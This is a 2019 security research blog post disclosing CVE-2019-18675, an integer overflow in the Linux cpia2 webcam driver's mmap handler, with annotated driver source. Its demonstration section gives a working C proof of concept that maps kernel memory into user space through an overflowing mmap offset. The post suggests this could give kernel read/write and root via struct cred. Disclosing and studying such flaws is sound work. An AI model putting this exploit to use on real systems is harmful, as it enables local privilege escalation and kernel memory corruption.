Kernel Research / mmap handler exploitation
November 22, 2019
Description
Recently I started to review the linux kernel, I’ve putted much time and effort trying to identify vulnerabilities. I looked on the cpia2 driver , which is a V4L driver , aimed for supporting cpia2 webcams. official documentation here. I found a vulnerability in the mmap handler implementation of the driver. Kernel drivers may re-implement their own mmap handlers , usually for speeding up the process of exchanging data between user space and kernel space. The cpia2 driver re-implement a mmap hanlder for sharing the frame’s buffer with the user application which controls the camera. —
Lets get into it
Here is the userspace mmap function prototype (taken from man):
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
Here the user supplies parameter for the mapping , we will be interested in the size and offset parameters.
- length - will determine the length of the mapping
- offset - will determine the offset from the beginning of the device we will start the mapping from.
The driver’s specific mmap handler will remap kernel memory to userspace using a function like remap_pfn_range
CVE-2019-18675
Lets have a look at the cpia2 mmap handler implementation:
We can see the file_operations struct:
/***
* The v4l video device structure initialized for this device
***/
static const struct v4l2_file_operations cpia2_fops = {
.owner = THIS_MODULE,
.open = cpia2_open,
.release = cpia2_close,
.read = cpia2_v4l_read,
.poll = cpia2_v4l_poll,
.unlocked_ioctl = video_ioctl2,
.mmap = cpia2_mmap,
};
Lets look at the function cpia2_mmap
static int cpia2_mmap(struct file *file, struct vm_area_struct *area)
{
struct camera_data *cam = video_drvdata(file);
int retval;
if (mutex_lock_interruptible(&cam->v4l2_lock))
return -ERESTARTSYS;
retval = cpia2_remap_buffer(cam, area);
if(!retval)
cam->stream_fh = file->private_data;
mutex_unlock(&cam->v4l2_lock);
return retval;
}
It just calls the function cpia2_remap_buffer() with a pointer to the camera_data
struct:
/******************************************************************************
*
* cpia2_remap_buffer
*
*****************************************************************************/
int cpia2_remap_buffer(struct camera_data *cam, struct vm_area_struct *vma)
{
const char *adr = (const char *)vma->vm_start;
unsigned long size = vma->vm_end-vma->vm_start;
unsigned long start_offset = vma->vm_pgoff << PAGE_SHIFT;
unsigned long start = (unsigned long) adr;
unsigned long page, pos;
DBG("mmap offset:%ld size:%ld\n", start_offset, size);
if (!video_is_registered(&cam->vdev))
return -ENODEV;
if (size > cam->frame_size*cam->num_frames ||
(start_offset % cam->frame_size) != 0 ||
(start_offset+size > cam->frame_size*cam->num_frames))
return -EINVAL;
pos = ((unsigned long) (cam->frame_buffer)) + start_offset;
while (size > 0) {
page = kvirt_to_pa(pos);
if (remap_pfn_range(vma, start, page >> PAGE_SHIFT, PAGE_SIZE, PAGE_SHARED))
return -EAGAIN;
start += PAGE_SIZE;
pos += PAGE_SIZE;
if (size > PAGE_SIZE)
size -= PAGE_SIZE;
else
size = 0;
}
cam->mmapped = true;
return 0;
}
we can see that start_offset + size is being calculated , and the sum is being compared to the total size of the frames:
if(... || (start_offset+size > cam->frame_size*cam->num_frames))
return -EINVAL;
However, the calculation start_offset + size could wrap-around to a low value (a.k.a Integer Overflow), allowing an attacker to bypass the check while still using a big start_offset value which will lead to mapping of unintended kernel memory. The only requirement is that the start_offset value will be a multiple of the frame_size (which can be controlled by the cpia2 driver options, by default its 68k). And this can be quite bad because a huge offset will allow us to perform a mapping in an arbitrary offset (outside of the frame buffer’s bounds) , and this can possibly result in a privillege escalation
Demo time!
I’ve used a qemu kernel virtual machine (here). Now we have to:
- Open /dev/video0
- mmaping size 0x11000 at offset 0xffffffffffff0000. The overlow will ocuur and we will pass the check :)
Here is a minimalistic example for exploit code:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#define VIDEO_DEVICE "/dev/video0"
int main(){
pid_t pid;
char command[40];
int fd = open(VIDEO_DEVICE , O_RDWR);
if(fd < 0){
printf("[-]Error opening device file\n");
}
printf("[+]Demonstration\n");
pid = getpid();
printf("[~]PID IS %d ", pid);
getchar();
int size = 0x11000;
unsigned long mapStarter = 0x43434000;
unsigned long * mapped = mmap((void *)mapStarter, size, PROT_WRITE | PROT_READ, MAP_SHARED , fd , 0xffffffffffff0000);
if(mapped == MAP_FAILED)
printf("[-]Error mapping the specified region\n");
else
puts("[+]mmap went successfully\n");
/*view the /proc/<pid>/maps file */
sprintf(command , "cat /proc/%d/maps", pid);
system(command);
return 0;
}
Compile and run:
and B00M! we have got a read and write primitives in kernel space! By modifying struct cred
or kernel function pointers/ variables we can possibly gain root! or destroy kernel data!
Tips and thoughts
-
Because I didnt have the required hardware (for example, Intel Qx5 microscope ), I’ve made some changes in the driver’s code for this poc . I made some changes to the hardware and usb’s parts, In a way that allowed me to test the mmap functionallity as its in the original driver . Because the vulnerability is not related to the hardware interaction partsl , this wasn’t a problem. This way I could research more and even debug the interesting parts without being depend on hardware.
-
This vulnerability is more than 8 years old!
-
This is my first public vulnerability!